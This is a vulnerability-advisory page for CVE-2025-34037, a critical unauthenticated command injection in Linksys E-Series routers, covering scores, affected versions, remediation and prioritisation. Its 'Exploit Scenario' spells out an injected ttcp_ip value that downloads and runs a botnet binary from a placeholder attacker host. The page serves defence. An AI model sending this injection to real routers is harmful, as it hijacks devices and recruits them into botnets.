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Linksys CVE-2025-34037

| EUVDEUVD-2025-18964 CRITICAL
OS Command Injection (CWE-78)
2025-06-24 disclosure@vulncheck.com
10.0
CVSS 4.0 · Vendor: vulncheck
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 10.0, EPSS 81.5%, PoC available. Linksys E-Series routers are widely deployed in SOHO environments. Root access to a router allows DNS hijacking, traffic interception, and use as a pivot point for attacks on internal network devices. Botnets like TheMoon and Mirai variants actively target Linksys routers.

Exploit ScenarioDerived

An attacker scans for Linksys routers with port 8080 exposed. They send a POST to /tmUnblock.cgi with ttcp_ip=;wget+attacker.com/botclient+-O+/tmp/bot;chmod+777+/tmp/bot;/tmp/bot. The router downloads and executes a botnet client, becoming part of a DDoS botnet while also intercepting all local network traffic through DNS manipulation.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 81.5% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 15, 2026

Multiple Linksys E-Series router models contain an unauthenticated OS command injection vulnerability in the /tmUnblock.cgi and /hndUnblock.cgi endpoints accessible on port 8080. The ttcp_ip parameter is passed directly to a system shell without sanitization, enabling remote root-level command execution on the router.

Earlier versions of this analysis (1)
v1 Mar 15, 2026 - 22:36 CVSS 10.0

Unauthenticated root command injection in Linksys E-Series routers via CGI endpoints on port 8080 enables full device takeover.

RemediationAI

Update router firmware to the latest version. Disable remote management on port 8080. Replace end-of-life Linksys routers with actively maintained models. Place IoT devices behind a firewall that blocks inbound management ports.

Affected VersionsENISA

E1200 v1 0 ≤1.0.04
E1550 0 ≤1.0.03
E3000 0 <1.0.06
E1000 v1 0 <2.1.03
E4200 0 <1.0.06
E3200 0 <1.0.05
E2000 0
E2100L v1 0 ≤1.0.05
E1500 v1 0 <1.0.06
E900 v1 0 <1.0.04
E2500 v1/v2 0 <2.0.00

Affected Packages

euvd e1000_v1 fix: 2.1.03
euvd e1200_v1 no fix
euvd e1500_v1 fix: 1.0.06
euvd e1550 no fix
euvd e2100l_v1 no fix
euvd e2500_v1_v2 fix: 2.0.00
euvd e3000 fix: 1.0.06
euvd e3200 fix: 1.0.05
euvd e4200 fix: 1.0.06
euvd e900_v1 fix: 1.0.04

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 10 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The tmUnblock.cgi and hndUnblock.cgi scripts process the ttcp_ip parameter by passing it directly to a system() call without input validation. Since the web server runs as root on the router, injected commands execute with full root privileges. Port 8080 hosts an alternative web interface that may be accessible remotely if remote management is enabled.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (vulncheck) PRIMARY 10.0 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (vulncheck) · only source for this CVE.

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Analysis Updated
Apr 16, 2026 - 05:53 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
1.0.06,2.1.03,1.0.05
PoC Detected
Mar 20, 2026 - 19:16 vuln.today
Public exploit code
CVE Published
Jun 24, 2025 - 01:15 nvd
CRITICAL 10.0

DescriptionCVE.org

An OS command injection vulnerability exists in various models of E-Series Linksys routers via the /tmUnblock.cgi and /hndUnblock.cgi endpoints over HTTP on port 8080. The CGI scripts improperly process user-supplied input passed to the ttcp_ip parameter without sanitization, allowing unauthenticated attackers to inject shell commands. This vulnerability is exploited in the wild by the "TheMoon" worm to deploy a MIPS ELF payload, enabling arbitrary code execution on the router. This vulnerability may affect other Linksys products to include, but not limited to, WAG/WAP/WES/WET/WRT-series router models and Wireless-N access points and routers. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-06 UTC.

Executive ViewAI

Why It Matters

Linksys E-Series routers contain a critical unauthenticated remote code execution vulnerability (CVE-2025-34037) affecting port 8080 management interfaces, allowing attackers to gain root access without credentials. Organizations deploying these routers face immediate risk of network compromise, data interception, and lateral movement into internal systems. This requires urgent inventory and patching across all affected models.

Business Impact: Severe
Compensating Controls

Apply vendor patch. Interim mitigations pending patch deployment: (1) Block external access to port 8080 at network perimeter firewall; (2) Restrict port 8080 access to authorized administrative subnets only; (3) Implement network segmentation to isolate router management traffic; (4) Monitor port 8080 for suspicious command patterns (/tmUnblock.cgi, /hndUnblock.cgi requests with shell metacharacters).

Threat Intelligence Overview

Threat Score
5.9/10
Composite threat intelligence
EPSS Score
81.5%
Top 1% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 81.5%
Patch available Yes
Active threat Yes
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Immediate
Exploitation· derived
Active
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

166
Low Medium High Critical
KEV: 0
EPSS: +81
CVSS: +50
PoC: +20
Weaponized: +15
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

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Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS fun

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CVE-2025-45490 CRITICAL POC
9.8 May 06

Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS fun

CVE-2025-45489 CRITICAL POC
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CVE-2018-3953 HIGH POC
7.2 Oct 17

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CVE-2024-33789 CRITICAL POC
9.8 May 03

Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability via the ipurl parameter at /API/info

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